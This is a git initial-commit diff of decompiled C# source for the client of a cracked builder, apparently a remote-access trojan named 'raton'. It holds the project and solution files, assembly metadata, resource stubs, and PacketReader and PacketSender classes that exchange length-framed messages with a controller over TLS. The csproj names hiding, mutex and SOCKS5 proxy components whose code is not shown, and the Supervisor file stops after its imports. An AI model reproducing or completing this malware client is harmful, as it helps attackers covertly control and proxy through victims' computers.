initial commit
This commit is contained in:
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,73 @@
|
||||
{
|
||||
"Version": 1,
|
||||
"WorkspaceRootPath": "C:\\Users\\user\\Desktop\\raton\\Client\\",
|
||||
"Documents": [
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{4D08A7F5-99A2-4BDC-B33A-E5B701D7B1AE}|Client.csproj|c:\\users\\user\\desktop\\raton\\client\\handlepacket.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{4D08A7F5-99A2-4BDC-B33A-E5B701D7B1AE}|Client.csproj|solutionrelative:handlepacket.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
}
|
||||
],
|
||||
"DocumentGroupContainers": [
|
||||
{
|
||||
"Orientation": 0,
|
||||
"VerticalTabListWidth": 256,
|
||||
"DocumentGroups": [
|
||||
{
|
||||
"DockedWidth": 200,
|
||||
"SelectedChildIndex": 8,
|
||||
"Children": [
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:0:0:{b1e99781-ab81-11d0-b683-00aa00a3ee26}"
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:0:0:{e5c86464-96be-4d7c-9a8b-abcb3bbf5f92}"
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:0:0:{eefa5220-e298-11d0-8f78-00a0c9110057}"
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:0:0:{aa2115a1-9712-457b-9047-dbb71ca2cdd2}"
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:0:0:{40ea2e6b-2121-4bb8-a43e-c83c04b51041}"
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:0:0:{3ae79031-e1bc-11d0-8f78-00a0c9110057}"
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:1:0:{d212f56b-c48a-434c-a121-1c5d80b59b9f}"
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:0:0:{34e76e81-ee4a-11d0-ae2e-00a0c90fffc3}"
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 0,
|
||||
"Title": "HandlePacket.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Client\\HandlePacket.cs",
|
||||
"RelativeDocumentMoniker": "HandlePacket.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Client\\HandlePacket.cs",
|
||||
"RelativeToolTip": "HandlePacket.cs",
|
||||
"ViewState": "AgIAAK8AAAAAAAAAAAAwwM0AAAAjAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T18:57:20.727Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:0:0:{1c64b9c2-e352-428e-a56d-0ace190b99a6}"
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,73 @@
|
||||
{
|
||||
"Version": 1,
|
||||
"WorkspaceRootPath": "C:\\Users\\user\\Desktop\\raton\\Client\\",
|
||||
"Documents": [
|
||||
{
|
||||
"AbsoluteMoniker": "D:0:0:{4D08A7F5-99A2-4BDC-B33A-E5B701D7B1AE}|Client.csproj|c:\\users\\user\\desktop\\raton\\client\\handlepacket.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
|
||||
"RelativeMoniker": "D:0:0:{4D08A7F5-99A2-4BDC-B33A-E5B701D7B1AE}|Client.csproj|solutionrelative:handlepacket.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
|
||||
}
|
||||
],
|
||||
"DocumentGroupContainers": [
|
||||
{
|
||||
"Orientation": 0,
|
||||
"VerticalTabListWidth": 256,
|
||||
"DocumentGroups": [
|
||||
{
|
||||
"DockedWidth": 200,
|
||||
"SelectedChildIndex": 8,
|
||||
"Children": [
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:0:0:{b1e99781-ab81-11d0-b683-00aa00a3ee26}"
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:0:0:{e5c86464-96be-4d7c-9a8b-abcb3bbf5f92}"
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:0:0:{eefa5220-e298-11d0-8f78-00a0c9110057}"
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:0:0:{aa2115a1-9712-457b-9047-dbb71ca2cdd2}"
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:0:0:{40ea2e6b-2121-4bb8-a43e-c83c04b51041}"
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:0:0:{3ae79031-e1bc-11d0-8f78-00a0c9110057}"
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:1:0:{d212f56b-c48a-434c-a121-1c5d80b59b9f}"
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:0:0:{34e76e81-ee4a-11d0-ae2e-00a0c90fffc3}"
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 0,
|
||||
"Title": "HandlePacket.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Client\\HandlePacket.cs",
|
||||
"RelativeDocumentMoniker": "HandlePacket.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Client\\HandlePacket.cs",
|
||||
"RelativeToolTip": "HandlePacket.cs",
|
||||
"ViewState": "AgIAAK8AAAAAAAAAAAAwwM0AAAAjAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T18:57:20.727Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:0:0:{1c64b9c2-e352-428e-a56d-0ace190b99a6}"
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Permissions;
|
||||
|
||||
[assembly: AssemblyTitle("Client")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("Client")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2026")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: Guid("f35dc6cd-26df-457e-9d61-9d6d24c5375c")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)]
|
||||
@@ -0,0 +1,73 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{4D08A7F5-99A2-4BDC-B33A-E5B701D7B1AE}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>Client</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.7.2</TargetFrameworkVersion>
|
||||
<ApplicationVersion>1.0.0.0</ApplicationVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<LangVersion>10.0</LangVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="MessagePackLib">
|
||||
<HintPath>..\Raton\lib\MessagePackLib.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="netstandard" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Program.cs" />
|
||||
<Compile Include="ClientBridge.cs" />
|
||||
<Compile Include="Config.cs" />
|
||||
<Compile Include="HandlePacket.cs" />
|
||||
<Compile Include="HideClient.cs" />
|
||||
<Compile Include="MutexControl.cs" />
|
||||
<Compile Include="Socks5Server.cs" />
|
||||
<Compile Include="ShareClient.cs" />
|
||||
<Compile Include="SillyClient.cs" />
|
||||
<Compile Include="Client_ProcessedByFody.cs" />
|
||||
<Compile Include="Client\Properties\Resources.cs" />
|
||||
<Compile Include="Client\Properties\Settings.cs" />
|
||||
<Compile Include="Client\Raton\PacketReader.cs" />
|
||||
<Compile Include="Client\Raton\PacketSender.cs" />
|
||||
<Compile Include="Client\Raton\Protocol.cs" />
|
||||
<Compile Include="Client\Raton\ClientState.cs" />
|
||||
<Compile Include="Client\Raton\Supervisor.cs" />
|
||||
<Compile Include="Costura\AssemblyLoader.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Client\Properties\Resources.resx" />
|
||||
<EmbeddedResource Include="costura.metadata" />
|
||||
<EmbeddedResource Include="costura\costura\dll.compressed" />
|
||||
<EmbeddedResource Include="costura\costura\pdb.compressed" />
|
||||
<EmbeddedResource Include="costura\messagepacklib\dll.compressed" />
|
||||
<EmbeddedResource Include="costura\system\buffers\dll.compressed" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
Binary file not shown.
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 11.00
|
||||
# Visual Studio 2010
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Client", "Client.csproj", "{4D08A7F5-99A2-4BDC-B33A-E5B701D7B1AE}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{4D08A7F5-99A2-4BDC-B33A-E5B701D7B1AE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{4D08A7F5-99A2-4BDC-B33A-E5B701D7B1AE}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{4D08A7F5-99A2-4BDC-B33A-E5B701D7B1AE}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{4D08A7F5-99A2-4BDC-B33A-E5B701D7B1AE}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,46 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Client.Properties.Resources
|
||||
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
|
||||
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Globalization;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
#nullable disable
|
||||
namespace Client.Properties;
|
||||
|
||||
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")]
|
||||
[DebuggerNonUserCode]
|
||||
[CompilerGenerated]
|
||||
internal class Resources
|
||||
{
|
||||
private static ResourceManager resourceMan;
|
||||
private static CultureInfo resourceCulture;
|
||||
|
||||
internal Resources()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static ResourceManager ResourceManager
|
||||
{
|
||||
get
|
||||
{
|
||||
if (Client.Properties.Resources.resourceMan == null)
|
||||
Client.Properties.Resources.resourceMan = new ResourceManager("Client.Properties.Resources", typeof (Client.Properties.Resources).Assembly);
|
||||
return Client.Properties.Resources.resourceMan;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static CultureInfo Culture
|
||||
{
|
||||
get => Client.Properties.Resources.resourceCulture;
|
||||
set => Client.Properties.Resources.resourceCulture = value;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
@@ -0,0 +1,21 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Client.Properties.Settings
|
||||
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
|
||||
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Configuration;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
#nullable disable
|
||||
namespace Client.Properties;
|
||||
|
||||
[CompilerGenerated]
|
||||
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
|
||||
internal sealed class Settings : ApplicationSettingsBase
|
||||
{
|
||||
private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings());
|
||||
|
||||
public static Settings Default => Settings.defaultInstance;
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Client.Raton.ClientState
|
||||
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
|
||||
|
||||
#nullable disable
|
||||
namespace Client.Raton;
|
||||
|
||||
public enum ClientState
|
||||
{
|
||||
Disconnected,
|
||||
Connecting,
|
||||
Connected,
|
||||
Ready,
|
||||
Disconnecting,
|
||||
}
|
||||
@@ -0,0 +1,115 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Client.Raton.PacketReader
|
||||
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
|
||||
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.IO;
|
||||
using System.Net.Security;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
#nullable disable
|
||||
namespace Client.Raton;
|
||||
|
||||
internal class PacketReader : IDisposable
|
||||
{
|
||||
private readonly SslStream stream;
|
||||
private readonly BlockingCollection<byte[]> queue;
|
||||
private const int OneMb = 1000000;
|
||||
private const int TimeoutMs = 30000;
|
||||
|
||||
internal PacketReader(SslStream sslStream, BlockingCollection<byte[]> targetQueue)
|
||||
{
|
||||
this.stream = sslStream ?? throw new ArgumentNullException(nameof (sslStream));
|
||||
this.queue = targetQueue ?? throw new ArgumentNullException(nameof (targetQueue));
|
||||
}
|
||||
|
||||
internal async Task Run(CancellationToken token)
|
||||
{
|
||||
byte[] sizeBuf = new byte[4];
|
||||
while (!token.IsCancellationRequested)
|
||||
{
|
||||
try
|
||||
{
|
||||
ConfiguredTaskAwaitable configuredTaskAwaitable = this.ReadExact(sizeBuf, token).ConfigureAwait(false);
|
||||
await configuredTaskAwaitable;
|
||||
int int32 = BitConverter.ToInt32(sizeBuf, 0);
|
||||
if (int32 <= 0 || int32 > 5000000)
|
||||
{
|
||||
this.LogError($"Invalid packet size: {int32}");
|
||||
throw new IOException("Invalid packet size");
|
||||
}
|
||||
byte[] payload = new byte[int32];
|
||||
configuredTaskAwaitable = this.ReadExact(payload, token).ConfigureAwait(false);
|
||||
await configuredTaskAwaitable;
|
||||
if (!this.queue.IsAddingCompleted)
|
||||
this.queue.Add(payload, token);
|
||||
payload = (byte[]) null;
|
||||
}
|
||||
catch (OperationCanceledException ex)
|
||||
{
|
||||
sizeBuf = (byte[]) null;
|
||||
return;
|
||||
}
|
||||
catch (IOException ex)
|
||||
{
|
||||
this.LogError("Read error: " + ex.Message);
|
||||
sizeBuf = (byte[]) null;
|
||||
return;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
this.LogError("Unexpected error in PacketReader: " + ex.Message);
|
||||
sizeBuf = (byte[]) null;
|
||||
return;
|
||||
}
|
||||
}
|
||||
sizeBuf = (byte[]) null;
|
||||
}
|
||||
|
||||
private async Task ReadExact(byte[] buffer, CancellationToken token)
|
||||
{
|
||||
int num;
|
||||
using (CancellationTokenSource timeoutCts = new CancellationTokenSource(30000))
|
||||
{
|
||||
using (CancellationTokenSource linkedCts = CancellationTokenSource.CreateLinkedTokenSource(token, timeoutCts.Token))
|
||||
{
|
||||
for (int read = 0; read < buffer.Length; read += num)
|
||||
{
|
||||
linkedCts.Token.ThrowIfCancellationRequested();
|
||||
num = await this.stream.ReadAsync(buffer, read, buffer.Length - read, linkedCts.Token).ConfigureAwait(false);
|
||||
if (num == 0)
|
||||
throw new IOException("Connection closed by remote");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void LogError(string message)
|
||||
{
|
||||
try
|
||||
{
|
||||
Console.WriteLine(string.Format("[PacketReader] {0:HH:mm:ss} - {1}", (object) DateTime.Now, (object) message));
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal void Stop()
|
||||
{
|
||||
try
|
||||
{
|
||||
this.queue.CompleteAdding();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
public void Dispose() => this.Stop();
|
||||
}
|
||||
@@ -0,0 +1,97 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Client.Raton.PacketSender
|
||||
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
|
||||
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Net.Security;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
#nullable disable
|
||||
namespace Client.Raton;
|
||||
|
||||
internal class PacketSender : IDisposable
|
||||
{
|
||||
private readonly SslStream stream;
|
||||
private readonly SemaphoreSlim sendLock = new SemaphoreSlim(1, 1);
|
||||
private const int TimeoutMs = 30000;
|
||||
|
||||
internal PacketSender(SslStream sslStream)
|
||||
{
|
||||
this.stream = sslStream ?? throw new ArgumentNullException(nameof (sslStream));
|
||||
}
|
||||
|
||||
internal async Task Send(byte[] data)
|
||||
{
|
||||
if (data == null || data.Length == 0)
|
||||
return;
|
||||
await this.sendLock.WaitAsync().ConfigureAwait(false);
|
||||
try
|
||||
{
|
||||
using (CancellationTokenSource timeoutCts = new CancellationTokenSource(30000))
|
||||
{
|
||||
byte[] bytes = BitConverter.GetBytes(data.Length);
|
||||
ConfiguredTaskAwaitable configuredTaskAwaitable = this.stream.WriteAsync(bytes, 0, bytes.Length, timeoutCts.Token).ConfigureAwait(false);
|
||||
await configuredTaskAwaitable;
|
||||
int chunk;
|
||||
for (int offset = 0; offset < data.Length; offset += chunk)
|
||||
{
|
||||
chunk = Math.Min(65536 /*0x010000*/, data.Length - offset);
|
||||
configuredTaskAwaitable = this.stream.WriteAsync(data, offset, chunk, timeoutCts.Token).ConfigureAwait(false);
|
||||
await configuredTaskAwaitable;
|
||||
}
|
||||
configuredTaskAwaitable = this.stream.FlushAsync(timeoutCts.Token).ConfigureAwait(false);
|
||||
await configuredTaskAwaitable;
|
||||
}
|
||||
}
|
||||
catch (OperationCanceledException ex)
|
||||
{
|
||||
this.LogError("Send timeout");
|
||||
throw new IOException("Send timeout");
|
||||
}
|
||||
catch (UnauthorizedAccessException ex)
|
||||
{
|
||||
this.LogError("Send unauthorized (Administrator)");
|
||||
throw new IOException("Send error");
|
||||
}
|
||||
catch (IOException ex)
|
||||
{
|
||||
throw;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
this.LogError("Send error: " + ex.Message);
|
||||
throw new IOException("Send failed: " + ex.Message, ex);
|
||||
}
|
||||
finally
|
||||
{
|
||||
this.sendLock.Release();
|
||||
}
|
||||
}
|
||||
|
||||
private void LogError(string message)
|
||||
{
|
||||
try
|
||||
{
|
||||
Console.WriteLine(string.Format("[PacketSender] {0:HH:mm:ss} - {1}", (object) DateTime.Now, (object) message));
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
try
|
||||
{
|
||||
this.sendLock?.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Client.Raton.Protocol
|
||||
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
|
||||
|
||||
#nullable disable
|
||||
namespace Client.Raton;
|
||||
|
||||
public static class Protocol
|
||||
{
|
||||
public const int OneMb = 1048576 /*0x100000*/;
|
||||
public const int MaxPacketSize = 5242880 /*0x500000*/;
|
||||
public const int SizeHeaderLength = 4;
|
||||
}
|
||||
@@ -0,0 +1,302 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Client.Raton.Supervisor
|
||||
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
|
||||
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
using System.Net.Security;
|
||||
using System.Net.Sockets;
|
||||
using System.Reflection;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
#nullable disable
|
||||
namespace Client.Raton;
|
||||
|
||||
